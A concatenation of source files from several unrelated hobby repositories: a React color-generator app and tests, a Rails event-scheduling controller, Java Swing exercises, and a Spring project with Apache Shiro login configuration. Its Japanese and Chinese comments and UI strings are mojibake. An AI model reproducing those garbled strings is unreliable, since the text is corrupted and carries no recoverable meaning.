background-color: ${(props) => darken(0.1, props.bgColor)};
border: solid 3px ${(props) => props.color};
`;
export const ColorNameTitle = styled.span`
font-weight: 600;
padding-right: ${th.space(2)};
color: ${(props) => props.color};
`;
```
App.js
```
import React from 'react';
import { Flex, Box } from "reflexbox";
import axios from 'axios';
import {BackgroundWrapper, RightAligned, Title, Desc, ColorName, GeneratorButton, ColorNameTitle, ThemedTxtColor} from "./style";
import './App.css';
import { Loader } from "./Loader/Loader";
const App = (props) => {
const [data, setData] = React.useState({});
const [query, setQuery] = React.useState("24B1E0");
const [colorHex, setColorHex] = React.useState("#24B1E0");
const [colorName, setColorName] = React.useState("Cerulean");
const [colorRGB, setColorRGB] = React.useState("rgb(36, 177, 224)");
const [isLoading, setIsLoading] = React.useState(false);
const [fade, setFade] = React.useState(false);
const [txtColor, setTxtColor] = React.useState("#fff");
React.useEffect(() => {
let mounted = true;
const fetchData = async () => {
setIsLoading(true);
const result = await axios(
`https://www.thecolorapi.com/id?hex=${query}`,
);
if(mounted){
setData(result.data);
}
setIsLoading(false);
};
fetchData();
}, [query]);
const getRandomHex = () => {
const letters = '0123456789ABCDEF'.split('');
let color = '';
for (let i = 0; i < 6; i++) {
color += letters[Math.floor(Math.random() * 16)];
}
return color;
}
const onGenerateColor = () => {
const name = data.name.value;
const hex = data.hex.value;
const rgb = data.rgb.value;
setQuery(getRandomHex());
setColorName(name);
setColorHex(hex);
setColorRGB(rgb);
setFade(true);
const firstChar = query.charAt(0);
if(firstChar === "0" || firstChar === "1" || firstChar === "2" || firstChar === "3" || firstChar === "4"){
setTxtColor("#ffffff");
} else {
setTxtColor("#191919");
}
}
return (
<>
{isLoading ? (
<BackgroundWrapper justifyContent="center" alignItems="center">
<Box><Loader /></Box>
</BackgroundWrapper>
) : (
<BackgroundWrapper justifyContent="flex-start" alignItems="center" width={1} bgColor={colorHex} onAnimationEnd={() => !fade} className={fade ? 'fade' : ''}>
<Box width={1 / 2}>
<RightAligned flexDirection="column" p={6} justifyContent="flex-end">
<Box width={1}>
<ColorName color={txtColor} data-test-id="random-color">{colorHex}</ColorName>
</Box>
<Box width={1}>
<Flex justifyContent="flex-end">
<Box pr={3}>
<ColorNameTitle color={txtColor}>RGB</ColorNameTitle>
<ThemedTxtColor color={txtColor}>{colorRGB}</ThemedTxtColor>
</Box>
<Box>
<ColorNameTitle color={txtColor}>Name</ColorNameTitle>
<ThemedTxtColor color={txtColor}>{colorName}</ThemedTxtColor></Box>
</Flex>
</Box>
</RightAligned>
</Box>
<Box width={1 / 2} m={16}>
<Flex flexDirection="column">
<Box width={1}>
<Title color={txtColor}>Color of the Day</Title>
</Box>
<Box width={1} mb={4}>
<Desc color={txtColor}>Click the button and generate the lucky color of your day! <br /> Or... keep clicking for fun!</Desc>
</Box>
<Box>
<GeneratorButton id="colorSubmit" onClick={onGenerateColor} bgColor={colorHex} color={txtColor} data-testid="generator-button">Generate a Color!</GeneratorButton>
</Box>
</Flex>
</Box>
</BackgroundWrapper>
)}
</>
);
}
export default App;
```
App.test.js
```import { render, screen, waitFor, cleanup, fireEvent, getByTestId, queryByTestId, findByTestId } from '@testing-library/react';
import App from './App';
// What to test
// Do you see the title and description?
// Do you see the Generator button?
// Does the button generate to the next color?
describe('App', () => {
afterEach(cleanup);
it('renders Random Color Generator Title and Desrciption', async () => {
render(<App />);
await screen.findByText("Color of the Day");
await screen.findByText("Click the button and generate the lucky color of your day!");
expect(screen.getByText("Color of the Day")).toBeInTheDocument();
expect(screen.getByText("Click the button and generate the lucky color of your day!")).toBeInTheDocument();
});
it('renders Random Color Generator button', async () => {
render(<App />);
await screen.findByTestId("generator-button");
expect(screen.getByTestId("generator-button")).toBeInTheDocument();
});
it('renders Random Color when the generator button is clicked', async () => {
const randomColor = "#7AB768";
render(<App />);
await screen.findByTestId("generator-button");
fireEvent.click(screen.getByTestId("generator-button"));
expect(randomColor).toMatch("#7AB768");
});
})
```
|
yukotobaru/review
|
yukotobaru/review
events_controller.rb
```class EventsController < ApplicationController
before_action :set_event, only: [:show, :edit, :update, :destroy]
before_action :set_current_member
before_action :set_event2, only: [:destroy]
#after_action :new, only: [:destroy]
# GET /events
# GET /events.json
def index
if !params[:commit].present?
@Member_id = Member.where(membername: Member.current).pluck(:id)[0].to_i
@Applysection_id = Member.where(id: @Member_id).pluck(:Applysection_id)[0].to_i
@PjMaster_id = 2
#flash.now[:notice] = "1"
end
if params[:Member_id].present?
@Member_id =params[:Member_id].to_i
#flash.now[:notice] = "#{@Member_id}o"
end
if params[:Applysection_id].present?
@Applysection_id = params[:Applysection_id].to_i
#flash.now[:notice] = "#{@Applysection_id}p"
end
if params[:PjMaster_id].present? #&& params[:commit].present? && params[:commit]== "ๆฝใๅบ"
@PjMaster_id = params[:PjMaster_id].to_i
#flash.now[:notice] = "#{@PjMaster_id}q"
end
if params[:commit].present? && params[:commit]== "ใฏใชใข"
@Member_id =22
@Applysection_id = 1
@PjMaster_id = 2
#flash.now[:notice] = "51"
end
if @Applysection_id.to_i !=1
@events =Event.includes(:Member).where(members: { Applysection_id:@Applysection_id })
#flash.now[:notice] = "6"
else
@events = Event.all
#flash.now[:notice] = "7"
end
if @Member_id.to_i !=22
@events = @events.where(Member_id:@Member_id)
#flash.now[:notice] = "8"
end
if @PjMaster_id == 2 || @PjMaster_id.nil?
#flash.now[:notice] = "10"
else
@events = @events.where(PjMaster_id:@PjMaster_id)
#flash.now[:notice] = "#{@PjMaster_id}"
end
@@Member_id =@Member_id
@@Applysection_id = @Applysection_id
@@PjMaster_id = @PjMaster_id
#SelectBox
#@books=Book.select(:publish,:id).distinct
#@field=Field.where(book_id:1)
#@Members =Member.where(Applysection_id:@Applysection_id )
#flash.now[:notice] = "5"
end
def result
@Applysection=Applysection.where(id:params[:Applysection_id].to_i)
@Members=Member.where(Applysection_id:params[:Applysection_id].to_i)
end
# GET /events/1
# GET /events/1.json
def show
@Applysection_id = params[:Applysection_id].to_i
@Member_id = params[:Member_id].to_i
@PjMaster_id = params[:PjMaster_id].to_i
@members = Member.all
@Applysection = Applysection.all
@eventsall = Event.all
end
# GET /events/new
def new
if params[:start_time].present?
@day = params[:start_time]
@y = @day[0..3]
@M = @day[5..6]
@d = @day[8..9]
@h =Time.now.hour
@m =Time.now.min
@s = Time.now.sec
require "date"
@day = Time.new(@y.to_i, @M.to_i, @d.to_i, @h, @m, @sec)
@eday = Time.new(@y.to_i, @M.to_i, @d.to_i, @h+1, @m, @sec)
#flash.now[:notice] = "ใใใใใๆฌๆฅใฏ#{@M}ใงใใ"
end
#---------------------------------------------------------------------------------------------------->
@Applysection_id = params[:Applysection_id].to_i
@Member_id = params[:Member_id].to_i
@PjMaster_id = params[:PjMaster_id].to_i
@members = Member.all
@Applysection = Applysection.all
@eventsall = Event.all
#@@Member_id =@Member_id
#@@Applysection_id = @Applysection_id
#@@PjMaster_id = @PjMaster_id
#---------------------------------------------------------------------------------------------------->
if @@Member_id== 22 && @@Applysection_id==1 && @@PjMaster_id != 2
@eventsall = @eventsall.where(PjMaster_id:@@PjMaster_id)
#flash.now[:notice] = "ใใใ"
end
if @@Member_id== 22 && @@Applysection_id==1 && @@PjMaster_id == 2
@eventsall = @eventsall
end
if @@Member_id == 22 && @@Applysection_id!=1 && @@PjMaster_id == 2
@eventsall = Event.includes(:Member).where(members: { Applysection_id:@@Applysection_id })
@members = @members.where(Applysection_id:@Applysection_id)
@Applysection = @Applysection.where(id:@Applysection_id)
end
if @@Member_id == 22 && @@Applysection_id!=1 && @@PjMaster_id != 2
@eventsall = Event.includes(:Member).where(members: { Applysection_id:@@Applysection_id })
@eventsall = @eventsall.where(PjMaster_id:@@PjMaster_id)
@members = @members.where(Applysection_id:@@Applysection_id)
@Applysection = @Applysection.where(id:@@Applysection_id)
end
if @@Member_id != 22 && @@Applysection_id==1 && @@PjMaster_id == 2
@eventsall = @eventsall.where(Member_id:@@Member_id)
@Applysection_id = Member.where(id:@@Member_id).pluck(:Applysection_id)[0]
end
if @@Member_id != 22 && @@Applysection_id==1 && @@PjMaster_id != 2
@eventsall = @eventsall.where(Member_id:@@Member_id)
@eventsall =@eventsall.where(PjMaster_id:@@PjMaster_id)
@Applysection_id = Member.where(id:@@Member_id).pluck(:Applysection_id)[0]
end
if @@Member_id != 22 && @@Applysection_id!=1 && @@PjMaster_id == 2
@eventsall = Event.includes(:Member).where(members: { Applysection_id:@@Applysection_id })
@eventsall = @eventsall.where(Member_id:@@Member_id)
@members = @members.where(Applysection_id:@@Applysection_id)
@Applysection = @Applysection.where(id:@@Applysection_id)
end
if @@Member_id != 22 && @@Applysection_id!=1 && @@PjMaster_id != 2
@eventsall = Event.includes(:Member).where(members: {Applysection_id:@@Applysection_id })
@eventsall = @eventsall.where(Member_id:@@Member_id,PjMaster_id:@@PjMaster_id)
@members = @members.where(Applysection_id:@@Applysection_id)
@Applysection = @Applysection.where(id:@@Applysection_id)
end
@event = Event.new(:start_time =>@day, :end_time => @eday, :kosu => 1, :Member_id => @Member_id,:PjMaster_id => @PjMaster_id)
if params[:start_time].present?
@@day = params[:start_date]
#flash.now[:notice] = "1#{@@day}"
elsif !@@day.nil?
#flash.now[:notice] = "2#{@@day}"
else
@@day = Time.now()
#flash.now[:notice] = "3#{@@day}"
end
end
# GET /events/1/edit
def edit
@eventsall = Event.all
@Applysection = Applysection.all
#---------------------------------------------------------------------------------------------------->
if !params[:Members_id].present? && params[:id].present?
@Member_id = Event.where(id: params[:id]).pluck(:Member_id)[0]
@Applysection_id = Member.where(id:@Member_id).pluck(:Applysection_id)[0]
@PjMaster_id = Event.where(id: params[:id]).pluck(:PjMaster_id)[0]
#flash.now[:notice] = "k"
else
#flash.now[:notice] = "y"
@Applysection_id = params[:Applysection_id].to_i
@Member_id = params[:Member_id].to_i
@PjMaster_id = params[:PjMaster_id].to_i
#@@Member_id =@Member_id
#@@Applysection_id = @Applysection_id
#@@PjMaster_id = @PjMaster_id
end
#---------------------------------------------------------------------------------------------------->
if @@Member_id== 22 && @@Applysection_id==1 && @@PjMaster_id != 2
@eventsall = @eventsall.where(PjMaster_id:@@PjMaster_id)
#flash.now[:notice] = "ใใใ"
end
if @@Member_id== 22 && @@Applysection_id==1 && @@PjMaster_id == 2
@eventsall = @eventsall
end
if @@Member_id == 22 && @@Applysection_id!=1 && @@PjMaster_id == 2
@eventsall = Event.includes(:Member).where(members: { Applysection_id:@@Applysection_id })
@members = @members.where(Applysection_id:@Applysection_id)
@Applysection = @Applysection.where(id:@Applysection_id)
end
if @@Member_id == 22 && @@Applysection_id!=1 && @@PjMaster_id != 2
@eventsall = Event.includes(:Member).where(members: { Applysection_id:@@Applysection_id })
@eventsall = @eventsall.where(PjMaster_id:@@PjMaster_id)
@members = @members.where(Applysection_id:@@Applysection_id)
@Applysection = @Applysection.where(id:@@Applysection_id)
end
if @@Member_id != 22 && @@Applysection_id==1 && @@PjMaster_id == 2
@eventsall = @eventsall.where(Member_id:@@Member_id)
@Applysection_id = Member.where(id:@@Member_id).pluck(:Applysection_id)[0]
end
if @@Member_id != 22 && @@Applysection_id==1 && @@PjMaster_id != 2
@eventsall = @eventsall.where(Member_id:@@Member_id)
@eventsall =@eventsall.where(PjMaster_id:@@PjMaster_id)
@Applysection_id = Member.where(id:@@Member_id).pluck(:Applysection_id)[0]
end
if @@Member_id != 22 && @@Applysection_id!=1 && @@PjMaster_id == 2
@eventsall = Event.includes(:Member).where(members: { Applysection_id:@@Applysection_id })
@eventsall = @eventsall.where(Member_id:@@Member_id)
@members = @members.where(Applysection_id:@@Applysection_id)
@Applysection = @Applysection.where(id:@@Applysection_id)
end
if @@Member_id != 22 && @@Applysection_id!=1 && @@PjMaster_id != 2
@eventsall = Event.includes(:Member).where(members: {Applysection_id:@@Applysection_id })
@eventsall = @eventsall.where(Member_id:@@Member_id,PjMaster_id:@@PjMaster_id)
@members = @members.where(Applysection_id:@@Applysection_id)
@Applysection = @Applysection.where(id:@@Applysection_id)
end
#params[:start_date] = @@day
#flash.now[:notice] = "edit#{@@day}"
end
# POST /events
# POST /events.json
def create
@event = Event.new(event_params)
flash.now[:notice] = "create#{@@day}"
respond_to do |format|
if @event.save
format.html {redirect_to edit_event_path(@event,:Member_id =>@Member_id,:PjMaster_id =>@PjMaster_id, :Applysection_id =>@Applysection_id,:start_date => @@day), notice:'็ป้ฒใใพใใใ' }
format.json { render :show, status: :created, location: @event }
else
format.html { render :new }
format.json { render json: @event.errors, status: :unprocessable_entity }
end
end
end
# PATCH/PUT /events/1
# PATCH/PUT /events/1.json
def update
#flash.now[:notice] = "update#{@@day}"
respond_to do |format|
if @event.update(event_params)
format.html {redirect_to edit_event_path(@event,:Member_id =>@Member_id,:PjMaster_id =>@PjMaster_id, :Applysection_id =>@Applysection_id,:start_date => @@day), notice:'ๆดๆฐใใพใใใ'}
format.json { render :show, status: :ok, location: @event }
else
format.html { render :edit }
format.json { render json: @event.errors, status: :unprocessable_entity }
end
end
end
# DELETE /events/1
# DELETE /events/1.json
def destroy
@event.destroy
#@event = Event.new(:kosu => 1, :Member_id => @Member_id,:PjMaster_id => @PjMaster_id,:start_date => @@day)
@day = Time.now
@Member_id = @@Member_id
@PjMaster_id = @@PjMaster_id
@Applysection_id= @@Applysection_id
respond_to do |format|
if @event.save
format.html {redirect_to new_event_path(:start_time => @day,:Member_id =>@Member_id,:PjMaster_id =>@PjMaster_id, :Applysection_id =>@Applysection_id,:start_date => @@day), notice:'ๅ้คใใพใใใ' }
#format.html { render :new }
format.json { render :show, status: :created, location: @event }
else
format.html { render :new }
format.json { render json: @event.errors, status: :unprocessable_entity }
end
end
end
private
# Use callbacks to share common setup or constraints between actions.
def set_event2
#@Member_id = params[:Member_id]
#@PjMaster_id = params[:PjMaster_id]
#@Applysection_id= params[:Applysection_id]
@eventsall = Event.all.where(Member_id:@Member_id)
end
def set_event
@event = Event.find(params[:id])
@day = Time.now()
@members = Member.all
@eventall = Event.all
@Applysection = Applysection.all
#flash.now[:notice] = "ใใใใใๆฌๆฅใฏ#{@Member_id}yo"
@@day = Event.where(id: params[:id]).pluck(:start_time)[0]
#flash.now[:notice] = "R#{@@day}"
@start_date =@@day
end
# Never trust parameters from the scary internet, only allow the white list through.
def event_params
params.require(:event).permit(:name, :start_time, :end_time,:loginname ,:kosu,:PjMaster_id, :Fsesagyo_id, :Member_id)
end
def set_current_member
if member_signed_in?
Member.current = current_member.membername
end
end
def search_events
#flash.now[:notice] = "ใใใใใๆฌๆฅใฏ"
#@events = Event.find(params[:Applysection_id])
@events = Event.includes(:Member).where(members: { Applysection_id:params[:Applysection_id] })
#@members = Member.where(id:params[:Applysection_id].to_id)
@Member_id = params[:Member_id].to_i
#@@day = params[:date]
render layout: false
end
end
```
event.rb
```class Event < ActiveRecord::Base
belongs_to :Fsesagyo
belongs_to :Member
belongs_to :PjMaster
after_initialize :set_default, if: :new_record?
before_update:get_changes
private
def set_default()
self.loginname = Member.current
if self.Member_id == 22
self.Member_id = Member.where(membername: Member.current).pluck(:id)[0]
end
end
def get_changes
if self.Member_id_changed? && self.Member_id == 22
self.Member_id = Member.where(membername: Member.current).pluck(:id)[0]
end
end
end```
|
yuktachauhan/javaPrograms
|
yuktachauhan/javaPrograms
SwingPractice.java
```import javax.swing.*;
import java.awt.*;
class SwingPractice {
public static void main(String... args){
SwingPractice swingPractice = new SwingPractice();
swingPractice.go();
}
public void go(){
JFrame frame = new JFrame();
JPanel panel =new JPanel();
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
panel.setBackground(Color.darkGray);
panel.setLayout(new BoxLayout(panel ,BoxLayout.Y_AXIS));
JButton button1=new JButton("Yukta Chauhan.");
JButton button2=new JButton("Shradha Chauhan.");
JButton button3=new JButton("Shreya Chauhan.");
JButton button4=new JButton("Yuvraj Chauhan.");
JButton button5=new JButton("Yukta Chauhan.");
JButton button6=new JButton("Shradha Chauhan.");
JButton button7=new JButton("Shreya Chauhan.");
JButton button8=new JButton("Yuvraj Chauhan.");
JButton button9=new JButton("Yukta Chauhan.");
JButton button10=new JButton("Shradha Chauhan.");
JButton button11=new JButton("Shreya Chauhan.");
JButton button12=new JButton("Yuvraj Chauhan.");
panel.add(button1);
panel.add(button2);
panel.add(button3);
panel.add(button4);
panel.add(button5);
panel.add(button6);
panel.add(button7);
panel.add(button8);
panel.add(button9);
panel.add(button10);
panel.add(button11);
panel.add(button12);
frame.setContentPane(panel); //here we make the panel as contentpane
frame.setSize(300,300);
frame.setVisible(true);
}
}```
TwoDGraphics.java
```import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
class Graph2D extends JPanel{
public void paintComponent(Graphics g){
g.fillRect(0,0,this.getWidth(),this.getHeight());
Graphics2D g2D=(Graphics2D) g;
int red =(int) (Math.random()*255);
int green =(int) (Math.random()*255);
int blue =(int) (Math.random()*255);
Color startclr = new Color(red,green,blue);
red =(int) (Math.random()*255);
green =(int) (Math.random()*255);
blue =(int) (Math.random()*255);
Color endclr = new Color(red,green,blue);
GradientPaint gradient = new GradientPaint(70,70,startclr,140,140,endclr);
g2D.setPaint(gradient);
g2D.fillOval(70,70,100,100);
}
}
class TwoDGraphics implements ActionListener{
public JButton button;
public JFrame frame;
public static void main(String... x){
TwoDGraphics graphics=new TwoDGraphics();
graphics.go();
}
public void go(){
frame =new JFrame();
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
Graph2D graph =new Graph2D();
button =new JButton("click to change color");
button.addActionListener(this);
frame.getContentPane().add(BorderLayout.SOUTH,button);
frame.getContentPane().add(BorderLayout.CENTER,graph);
frame.setSize(300,300);
frame.setVisible(true);
}
public void actionPerformed(ActionEvent event){
frame.repaint();
}
}```
|
yukteshwar/Algorithms_By_Dasgupta_Papadimitriou_Vazirani
|
yukteshwar/Algorithms_By_Dasgupta_Papadimitriou_Vazirani
README.md
```# Algorithms_By_Dasgupta_Papadimitriou_Vazirani
This repository is for practicing algorithms as an interdisciplinary skill.
It contains solutions to book: Algorithms by Dasgupta, Papadimitriou, and Vazirani.
I found this book concise and easy to understand by practicing problems at the end of each chapter.
Please offer thoughts and corrections at byukteshwar@gmail.com
```
|
yukyyq2005/mybatis
|
yukyyq2005/mybatis
PermissionMapper.java
```package com.kfit.mybatis.dao;
import com.kfit.mybatis.domain.Permission;
import org.apache.ibatis.annotations.Insert;
import tk.mybatis.mapper.common.Mapper;
public interface PermissionMapper extends Mapper<Permission> {
}```
CustomSessionManager.java
```package com.kfit.mybatis.config;
import org.apache.shiro.web.servlet.ShiroHttpServletRequest;
import org.apache.shiro.web.session.mgt.DefaultWebSessionManager;
import org.apache.shiro.web.util.WebUtils;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.Serializable;
/**
* @author ๏ผyouq
* @date ๏ผCreated in 2019/8/10 22:34
* @modified By๏ผ
*/
public class CustomSessionManager extends DefaultWebSessionManager {
@Override
protected Serializable getSessionId(ServletRequest request, ServletResponse response) {
String sessionid = WebUtils.toHttp(request).getHeader("token");
if (sessionid != null){
request.setAttribute(ShiroHttpServletRequest.REFERENCED_SESSION_ID_SOURCE,
ShiroHttpServletRequest.COOKIE_SESSION_ID_SOURCE);
request.setAttribute(ShiroHttpServletRequest.REFERENCED_SESSION_ID,sessionid);
request.setAttribute(ShiroHttpServletRequest.REFERENCED_SESSION_ID_IS_VALID,Boolean.TRUE);
return sessionid;
}else{
return super.getSessionId(request,response);
}
}
}
```
QuickStartTest4_2.java
```package com.kfit.mybatis;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.mgt.DefaultSecurityManager;
import org.apache.shiro.realm.SimpleAccountRealm;
import org.apache.shiro.subject.Subject;
import org.junit.Before;
import org.junit.Test;
/**
* @author ๏ผyouq
* @date ๏ผCreated in 2019/8/10 10:38
* @modified By๏ผ
*/
public class QuickStartTest4_2 {
private SimpleAccountRealm accountRealm = new SimpleAccountRealm();
private DefaultSecurityManager defaultSecurityManager = new DefaultSecurityManager();
@Before
public void init(){
//ๅๅงๅๆฐๆฎๆบ
accountRealm.addAccount("xdclass","123");
accountRealm.addAccount("jack","456");
//ๆๅปบ็ฏๅข
defaultSecurityManager.setRealm(accountRealm);
}
@Test
public void testAuthentication(){
SecurityUtils.setSecurityManager(defaultSecurityManager);
//ๅฝๅๆไฝไธปไฝ๏ผapplication user
Subject subject = SecurityUtils.getSubject();
//็จๆท่พๅ
ฅ็่ดฆๅทๅๅฏ็
UsernamePasswordToken usernamePasswordToken =
new UsernamePasswordToken("xdclass","123");
subject.login(usernamePasswordToken);
System.out.println("่ฎค่ฏ็ปๆ๏ผ"+subject.isAuthenticated()+subject.getPrincipals());
System.out.println("ๆฏๅฆๆroot่ง่ฒ๏ผ"+subject.hasRole("root"));
}
}
```
DisplayMessage.java
```package com.kfit.mybatis.other;
import com.kfit.mybatis.service.UserService;
import com.kfit.mybatis.domain.User;
import org.springframework.beans.factory.annotation.Autowired;
import javax.annotation.Resource;
/**
* @author ๏ผyouq
* @date ๏ผCreated in 2019/2/24 21:53
* @modified By๏ผ
*/
public class DisplayMessage extends Thread {
@Resource
private UserService userService;
private String message;
public DisplayMessage(String message) {
this.message = message;
}
public void setObject(UserService user) {
userService = user;
}
@Override
public void run() {
for (int i = 0; i < 10; i++) {
userService.modifyUser();
}
}
}
```
NormalHandler.java
```package com.kfit.mybatis.service;
import com.kfit.mybatis.service.Impl.Man;
import org.apache.ibatis.javassist.compiler.SymbolTable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.math.BigDecimal;
/**
* @author ๏ผyouq
* @date ๏ผCreated in 2019/7/13 12:19
* @modified By๏ผ
*/
public class NormalHandler implements InvocationHandler {
private Object target;
public NormalHandler() {
}
public NormalHandler(Object target) {
this.target = target;
}
public Object newProxyInstance(Object targetObject){
this.target=targetObject;
//่ฏฅๆนๆณ็จไบไธบๆๅฎ็ฑป่ฃ
่ฝฝๅจใไธ็ปๆฅๅฃๅ่ฐ็จๅค็ๅจ็ๆๅจๆไปฃ็็ฑปๅฎไพ
//็ฌฌไธไธชๅๆฐๆๅฎไบง็ไปฃ็ๅฏน่ฑก็็ฑปๅ ่ฝฝๅจ๏ผ้่ฆๅฐๅ
ถๆๅฎไธบๅ็ฎๆ ๅฏน่ฑกๅไธไธช็ฑปๅ ่ฝฝๅจ
//็ฌฌไบไธชๅๆฐ่ฆๅฎ็ฐๅ็ฎๆ ๅฏน่ฑกไธๆ ท็ๆฅๅฃ๏ผๆไปฅๅช้่ฆๆฟๅฐ็ฎๆ ๅฏน่ฑก็ๅฎ็ฐๆฅๅฃ
//็ฌฌไธไธชๅๆฐ่กจๆ่ฟไบ่ขซๆฆๆช็ๆนๆณๅจ่ขซๆฆๆชๆถ้่ฆๆง่กๅชไธชInvocationHandler็invokeๆนๆณ
//ๆ นๆฎไผ ๅ
ฅ็็ฎๆ ่ฟๅไธไธชไปฃ็ๅฏน่ฑก
return Proxy.newProxyInstance(targetObject.getClass().getClassLoader(),
targetObject.getClass().getInterfaces(),this);
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// for(int i=0;i<args.length;i++){
// System.out.println(args[i]);
// }
Object ret=null;
try{
/*ๅๅฏน่ฑกๆนๆณ่ฐ็จๅๅค็ๆฅๅฟไฟกๆฏ*/
System.out.println("start-->>");
//่ฐ็จ็ฎๆ ๆนๆณ
ret=method.invoke(target, args);
/*ๅๅฏน่ฑกๆนๆณ่ฐ็จๅๅค็ๆฅๅฟไฟกๆฏ*/
System.out.println("end-->>");
}catch(Exception e){
e.printStackTrace();
System.out.println("error-->>");
throw e;
}
return ret;
}
public static void main(String arg[]){
NormalHandler logHandler1=new NormalHandler();
IPerson iPerson=(IPerson)logHandler1.newProxyInstance(new Man());
iPerson.say("xxx");
//
Man man = new Man();
NormalHandler normalHandler = new NormalHandler(man);
iPerson = (IPerson) Proxy.newProxyInstance(IPerson.class.getClassLoader(),
man.getClass().getInterfaces(), normalHandler);
iPerson.say("dd");
double a=0.3;
double b=0.1;
double g = a-b;
BigDecimal h = new BigDecimal(g);
System.out.println(a-b);
BigDecimal c = new BigDecimal("10");
BigDecimal d = new BigDecimal("3");
BigDecimal cd = c.divide(d,3,BigDecimal.ROUND_FLOOR);
System.out.println("c+d=:"+cd);
String srr = cd.toString();
double e = c.floatValue();
double f = d.floatValue();
System.out.println(c.floatValue()-d.floatValue());
}
}
```
ShiroConfig.java
```package com.kfit.mybatis.config;
import org.apache.shiro.authc.credential.HashedCredentialsMatcher;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.session.mgt.SessionManager;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import java.util.LinkedHashMap;
import java.util.Map;
/**
* @author ๏ผyouq
* @date ๏ผCreated in 2019/8/10 22:17
* @modified By๏ผ
*/
@Configuration
public class ShiroConfig {
@Bean
public ShiroFilterFactoryBean shiroFilter(SecurityManager securityManager){
System.out.println("ShiroFilterFactoryBean");
ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
//ๅฟ
้กป่ฎพ็ฝฎsecurityManager
shiroFilterFactoryBean.setSecurityManager(securityManager);
//้่ฆ็ปๅฝ็ๆฅๅฃ๏ผๅฆๆ่ฎฟ้ฎๆไธชๆฅๅฃ๏ผ้่ฆ็ปๅฝๅดๆฒกๆ็ปๅฝ๏ผๅ่ฐ็จๆญคๆฅๅฃ๏ผๅฆๆไธๆฏ
// ๅๅ็ซฏๅ็ฆป๏ผๅ่ทณ่ฝฌ้กต้ข๏ผ
shiroFilterFactoryBean.setLoginUrl("/pub/need_login");
//็ปๅฝๆๅ๏ผ่ทณ่ฝฌurl๏ผๅฆๆๅๅ็ซฏๅ็ฆป๏ผๅๆฒก่ฟไธช่ฐ็จ
shiroFilterFactoryBean.setSuccessUrl("/");
//็ปๅฝไบไฝๆฏๆฒกๆๆ้๏ผ็ฑปไผผ403
shiroFilterFactoryBean.setUnauthorizedUrl("/pub/not_permit");
//ๆฆๆชๅจ่ทฏๅพ
// ๅ1 ๅฟ
้กปไฝฟ็จๆๅบ็linkedhashmap
Map filter = new LinkedHashMap<>();
//้ๅบ่ฟๆปคๅจ
filter.put("/logout","logout");
// //ๅฟๅๅฏไปฅ่ฎฟ้ฎ๏ผๆธธๅฎขๆจกๅผ
filter.put("/pub/**","anon");
// //็ปๅฝ็จๆทๆๅฏไปฅ่ฎฟ้ฎ
filter.put("/authc/**","authc");
// //็ฎก็ๅ่ง่ฒๆๅฏไปฅ่ฎฟ้ฎ
filter.put("/admin/**","roles[admin]");
// //ๆ็ผ่พๆ้็ๆๅฏไปฅ่ฎฟ้ฎ
filter.put("/video/update","perms[video_update]");
// //ๅ
จๅฑurl authc ๏ผurlๅฎไนๅฟ
้กป้่ฟ่ฎค่ฏๆๅฏไปฅ่ฎฟ้ฎ
// //anon: urlๅฏไปฅๅฟๅ่ฎฟ้ฎ
filter.put("/**","authc");
//ๅ2 ่ฟๆปคๅจๆฏ้กบๅบๆง่ก๏ผไปไธๅฐไธ๏ผไธ่ฌ/** ๆพๆไธ้ข
shiroFilterFactoryBean.setFilterChainDefinitionMap(filter);
return shiroFilterFactoryBean;
}
@Bean
public SecurityManager securityManager(){
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
//ๅฆๆไธๆฏๅๅ็ซฏๅ็ฆป๏ผๅฐฑไธ็จsetSessionManager
securityManager.setSessionManager(sessionManager());
//่ฟ้ๆพๆๅ๏ผไธ็ถๆ็็ๆฌไธ็ๆ
securityManager.setRealm(customRealm());
return securityManager;
}
@Bean
public CustomRealm customRealm(){
CustomRealm customRealm = new CustomRealm();
//customRealm.setCredentialsMatcher(hashedCredentialsMatcher());//่ฎพ็ฝฎๅ ๅฏ
return customRealm;
}
@Bean
public HashedCredentialsMatcher hashedCredentialsMatcher(){
HashedCredentialsMatcher credentialsMatcher = new HashedCredentialsMatcher();
//่ฎพ็ฝฎๆฃๅ็ฎๆณ๏ผ่ฎพ็ฝฎmd5
credentialsMatcher.setHashAlgorithmName("md5");
//ๆฃๅ2ๆฌก๏ผ็ธๅฝไบmd5(md5(xxx))
credentialsMatcher.setHashIterations(2);
return credentialsMatcher;
}
@Bean
public SessionManager sessionManager(){
CustomSessionManager customSessionManager = new CustomSessionManager();
//่ถ
ๆถๆถ้ด๏ผ้ป่ฎค30ๅ้๏ผๅไฝๆฏๆฏซ็ง
// customSessionManager.setGlobalSessionTimeout(10*1000);
return customSessionManager;
}
}
```
Stu.java
```package com.kfit.mybatis.domain;
import javax.persistence.*;
public class Stu {
private Long id;
private String name;
private String sex;
private String age;
private Integer cno;
/**
* @return id
*/
public Long getId() {
return id;
}
/**
* @param id
*/
public void setId(Long id) {
this.id = id;
}
/**
* @return name
*/
public String getName() {
return name;
}
/**
* @param name
*/
public void setName(String name) {
this.name = name == null ? null : name.trim();
}
/**
* @return sex
*/
public String getSex() {
return sex;
}
/**
* @param sex
*/
public void setSex(String sex) {
this.sex = sex == null ? null : sex.trim();
}
/**
* @return age
*/
public String getAge() {
return age;
}
/**
* @param age
*/
public void setAge(String age) {
this.age = age == null ? null : age.trim();
}
/**
* @return cno
*/
public Integer getCno() {
return cno;
}
/**
* @param cno
*/
public void setCno(Integer cno) {
this.cno = cno;
}
}```
PublicController.java
```package com.kfit.mybatis.controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ๏ผyouq
* @date ๏ผCreated in 2019/8/11 15:41
